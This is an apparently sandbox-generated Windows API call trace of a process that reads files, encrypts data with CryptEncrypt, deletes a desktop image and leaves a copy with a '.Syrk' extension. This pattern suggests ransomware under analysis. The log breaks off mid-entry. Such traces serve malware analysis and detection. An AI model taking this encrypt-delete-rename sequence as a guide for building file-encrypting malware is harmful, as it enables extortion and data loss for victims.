WriteFile (in: hFile=0x460, lpBuffer=0x2314a5c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x2314a5c*, lpNumberOfBytesWritten=0x5a2e9e4*=0x1000, lpOverlapped=0x0) returned 1 [0189.233] WriteFile (in: hFile=0x460, lpBuffer=0x232adb0*, nNumberOfBytesToWrite=0x89d4, lpNumberOfBytesWritten=0x5a2e9e4, lpOverlapped=0x0 | out: lpBuffer=0x232adb0*, lpNumberOfBytesWritten=0x5a2e9e4*=0x89d4, lpOverlapped=0x0) returned 1 [0189.234] ReadFile (in: hFile=0x3ac, lpBuffer=0x2315dac, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x2315dac*, lpNumberOfBytesRead=0x5a2ea0c*=0x0, lpOverlapped=0x0) returned 1 [0189.235] CryptEncrypt (in: hKey=0x5c68f40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23337e8*, pdwDataLen=0x5a2ea60*=0x10, dwBufLen=0x10 | out: pbData=0x23337e8*, pdwDataLen=0x5a2ea60*=0x10) returned 1 [0189.235] CryptEncrypt (in: hKey=0x5c68f40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2333804*, pdwDataLen=0x5a2ea68*=0x0, dwBufLen=0x10 | out: pbData=0x2333804*, pdwDataLen=0x5a2ea68*=0x10) returned 1 [0189.236] WriteFile (in: hFile=0x460, lpBuffer=0x2314a5c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2ea38, lpOverlapped=0x0 | out: lpBuffer=0x2314a5c*, lpNumberOfBytesWritten=0x5a2ea38*=0x10, lpOverlapped=0x0) returned 1 [0189.236] CloseHandle (hObject=0x460) returned 1 [0189.247] CloseHandle (hObject=0x3ac) returned 1 [0189.248] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.248] EtwEventActivityIdControl () returned 0x0 [0189.248] EtwEventActivityIdControl () returned 0x0 [0189.248] EtwEventActivityIdControl () returned 0x0 [0189.297] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\2 kc0zg1 rmrjok_gy.png")) returned 0x20 [0189.302] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0189.302] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png", lpFilePart=0x0) returned 0x3f [0189.303] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0189.303] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0189.303] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0189.304] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0189.304] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0189.304] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0189.304] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0189.304] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0189.304] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0189.305] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0189.305] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0189.305] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0189.305] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0189.306] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0189.306] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1b [0189.306] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x1b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x0) returned 0x1a [0189.306] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d")) returned 0x10 [0189.306] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d")) returned 0x10 [0189.306] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0189.307] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d", lpFilePart=0x0) returned 0x28 [0189.307] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\2 kc0zg1 rmrjok_gy.png")) returned 0x20 [0189.307] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0189.307] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png", lpFilePart=0x0) returned 0x3f [0189.313] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0189.313] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png", lpFilePart=0x0) returned 0x3f [0189.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e73c) returned 1 [0189.313] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0189.313] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png", lpFilePart=0x0) returned 0x3f [0189.314] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\2 kc0zg1 rmrjok_gy.png\\*"), lpFindFileData=0x5a2e4ec | out: lpFindFileData=0x5a2e4ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0189.314] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e4ac) returned 1 [0189.314] CoTaskMemAlloc (cb=0x404) returned 0x5c65188 [0189.314] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c65188, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0189.318] CoTaskMemFree (pv=0x5c65188) [0189.324] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\2 kc0zg1 rmrjok_gy.png")) returned 0x20 [0189.324] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0189.324] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png", lpFilePart=0x0) returned 0x3f [0189.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e404) returned 1 [0189.325] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\2 kc0zg1 rmrjok_gy.png"), fInfoLevelId=0x0, lpFileInformation=0x234141c | out: lpFileInformation=0x234141c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x695a4c70, ftCreationTime.dwHighDateTime=0x1d9994c, ftLastAccessTime.dwLowDateTime=0xb12c2360, ftLastAccessTime.dwHighDateTime=0x1d9997a, ftLastWriteTime.dwLowDateTime=0xb12c2360, ftLastWriteTime.dwHighDateTime=0x1d9997a, nFileSizeHigh=0x0, nFileSizeLow=0x99c4)) returned 1 [0189.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e400) returned 1 [0189.325] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\2 kc0zg1 rmrjok_gy.png")) returned 1 [0189.331] EtwEventActivityIdControl () returned 0x0 [0189.332] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.333] EtwEventActivityIdControl () returned 0x0 [0189.333] EtwEventActivityIdControl () returned 0x0 [0189.333] EtwEventActivityIdControl () returned 0x0 [0189.348] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\2 kc0zg1 rmrjok_gy.png.syrk")) returned 0x20 [0189.350] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\2 kc0zg1 rmrjok_gy.png.syrk")) returned 0x20 [0189.350] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0189.350] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png.Syrk", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png.Syrk", lpFilePart=0x0) returned 0x44 [0189.351] EtwEventActivityIdControl () returned 0x0 [0189.351] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.351] EtwEventActivityIdControl () returned 0x0 [0189.351] EtwEventActivityIdControl () returned 0x0 [0189.352] EtwEventActivityIdControl () returned 0x0 [0189.361] EtwEventActivityIdControl () returned 0x0 [0189.361] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.366] EtwEventActivityIdControl () returned 0x0 [0189.366] EtwEventActivityIdControl () returned 0x0 [0189.366] EtwEventActivityIdControl () returned 0x0 [0189.371] EtwEventActivityIdControl () returned 0x0 [0189.372] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.372] EtwEventActivityIdControl () returned 0x0 [0189.372] EtwEventActivityIdControl () returned 0x0 [0189.373] EtwEventActivityIdControl () returned 0x0 [0189.386] EtwEventActivityIdControl () returned 0x0 [0189.387] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.388] EtwEventActivityIdControl () returned 0x0 [0189.388] EtwEventActivityIdControl () returned 0x0 [0189.388] EtwEventActivityIdControl () returned 0x0 [0189.398] EtwEventActivityIdControl () returned 0x0 [0189.398] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.399] EtwEventActivityIdControl () returned 0x0 [0189.399] EtwEventActivityIdControl () returned 0x0 [0189.399] EtwEventActivityIdControl () returned 0x0 [0189.404] EtwEventActivityIdControl () returned 0x0 [0189.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de54) returned 1 [0189.414] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\2 kc0zg1 rmrjok_gy.png.syrk"), fInfoLevelId=0x0, lpFileInformation=0x234d0f4 | out: lpFileInformation=0x234d0f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed7c3600, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xed7c3600, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xed8cdfa0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x99e4)) returned 1 [0189.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de50) returned 1 [0189.415] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e740 | out: lpConsoleScreenBufferInfo=0x5a2e740) returned 1 [0189.417] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e738 | out: lpMode=0x5a2e738) returned 1 [0189.417] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x230e700*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e72c, lpReserved=0x0 | out: lpBuffer=0x230e700*, lpNumberOfCharsWritten=0x5a2e72c*=0x2) returned 1 [0189.418] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e6e4 | out: lpConsoleScreenBufferInfo=0x5a2e6e4) returned 1 [0189.418] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e738 | out: lpConsoleScreenBufferInfo=0x5a2e738) returned 1 [0189.418] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e730 | out: lpMode=0x5a2e730) returned 1 [0189.419] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x230e700*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e724, lpReserved=0x0 | out: lpBuffer=0x230e700*, lpNumberOfCharsWritten=0x5a2e724*=0x2) returned 1 [0189.419] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e748 | out: lpConsoleScreenBufferInfo=0x5a2e748) returned 1 [0189.420] GetConsoleOutputCP () returned 0x1b5 [0189.420] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4b8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4b8) returned 0 [0189.420] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e598 | out: lpConsoleScreenBufferInfo=0x5a2e598) returned 1 [0189.420] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e590 | out: lpMode=0x5a2e590) returned 1 [0189.421] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2367d2c*, nNumberOfCharsToWrite=0x37, lpNumberOfCharsWritten=0x5a2e584, lpReserved=0x0 | out: lpBuffer=0x2367d2c*, lpNumberOfCharsWritten=0x5a2e584*=0x37) returned 1 [0189.421] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e590 | out: lpMode=0x5a2e590) returned 1 [0189.421] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x230e700*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e584, lpReserved=0x0 | out: lpBuffer=0x230e700*, lpNumberOfCharsWritten=0x5a2e584*=0x2) returned 1 [0189.422] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e6a0 | out: lpConsoleScreenBufferInfo=0x5a2e6a0) returned 1 [0189.422] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e698 | out: lpMode=0x5a2e698) returned 1 [0189.422] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x230e700*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e68c, lpReserved=0x0 | out: lpBuffer=0x230e700*, lpNumberOfCharsWritten=0x5a2e68c*=0x2) returned 1 [0189.423] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e738 | out: lpConsoleScreenBufferInfo=0x5a2e738) returned 1 [0189.423] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e730 | out: lpMode=0x5a2e730) returned 1 [0189.423] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x230e700*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e724, lpReserved=0x0 | out: lpBuffer=0x230e700*, lpNumberOfCharsWritten=0x5a2e724*=0x2) returned 1 [0189.424] GetConsoleOutputCP () returned 0x1b5 [0189.424] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e548, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e548) returned 0 [0189.424] GetConsoleOutputCP () returned 0x1b5 [0189.424] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5d0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5d0) returned 0 [0189.424] GetConsoleOutputCP () returned 0x1b5 [0189.425] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5ac, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5ac) returned 0 [0189.425] GetConsoleOutputCP () returned 0x1b5 [0189.425] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5ac, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5ac) returned 0 [0189.425] GetConsoleOutputCP () returned 0x1b5 [0189.425] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e548, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e548) returned 0 [0189.425] GetConsoleOutputCP () returned 0x1b5 [0189.425] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5d0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5d0) returned 0 [0189.425] GetConsoleOutputCP () returned 0x1b5 [0189.426] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5ac, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5ac) returned 0 [0189.426] GetConsoleOutputCP () returned 0x1b5 [0189.426] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5ac, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5ac) returned 0 [0189.426] GetConsoleOutputCP () returned 0x1b5 [0189.426] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e548, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e548) returned 0 [0189.426] GetConsoleOutputCP () returned 0x1b5 [0189.426] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5d0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5d0) returned 0 [0189.426] GetConsoleOutputCP () returned 0x1b5 [0189.427] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5ac, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5ac) returned 0 [0189.427] GetConsoleOutputCP () returned 0x1b5 [0189.427] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5ac, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5ac) returned 0 [0189.427] GetConsoleOutputCP () returned 0x1b5 [0189.427] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e548, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e548) returned 0 [0189.427] GetConsoleOutputCP () returned 0x1b5 [0189.427] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5d0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5d0) returned 0 [0189.427] GetConsoleOutputCP () returned 0x1b5 [0189.427] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5ac, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5ac) returned 0 [0189.427] GetConsoleOutputCP () returned 0x1b5 [0189.428] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5ac, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5ac) returned 0 [0189.428] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e698 | out: lpConsoleScreenBufferInfo=0x5a2e698) returned 1 [0189.428] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e690 | out: lpMode=0x5a2e690) returned 1 [0189.428] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23686a0*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e684, lpReserved=0x0 | out: lpBuffer=0x23686a0*, lpNumberOfCharsWritten=0x5a2e684*=0x4f) returned 1 [0189.429] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e690 | out: lpMode=0x5a2e690) returned 1 [0189.429] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x230e700*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e684, lpReserved=0x0 | out: lpBuffer=0x230e700*, lpNumberOfCharsWritten=0x5a2e684*=0x2) returned 1 [0189.429] GetConsoleOutputCP () returned 0x1b5 [0189.430] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e66c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e66c) returned 0 [0189.430] GetConsoleOutputCP () returned 0x1b5 [0189.430] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e66c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e66c) returned 0 [0189.430] GetConsoleOutputCP () returned 0x1b5 [0189.430] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e66c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e66c) returned 0 [0189.430] GetConsoleOutputCP () returned 0x1b5 [0189.430] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e66c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e66c) returned 0 [0189.430] GetConsoleOutputCP () returned 0x1b5 [0189.430] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5fc) returned 0 [0189.430] GetConsoleOutputCP () returned 0x1b5 [0189.431] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5fc) returned 0 [0189.431] GetConsoleOutputCP () returned 0x1b5 [0189.431] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5fc) returned 0 [0189.431] GetConsoleOutputCP () returned 0x1b5 [0189.431] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5fc) returned 0 [0189.431] GetConsoleOutputCP () returned 0x1b5 [0189.431] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5fc) returned 0 [0189.431] GetConsoleOutputCP () returned 0x1b5 [0189.432] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5fc) returned 0 [0189.432] GetConsoleOutputCP () returned 0x1b5 [0189.432] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5fc) returned 0 [0189.432] GetConsoleOutputCP () returned 0x1b5 [0189.432] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5fc) returned 0 [0189.432] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e698 | out: lpConsoleScreenBufferInfo=0x5a2e698) returned 1 [0189.433] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e690 | out: lpMode=0x5a2e690) returned 1 [0189.433] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2368b48*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e684, lpReserved=0x0 | out: lpBuffer=0x2368b48*, 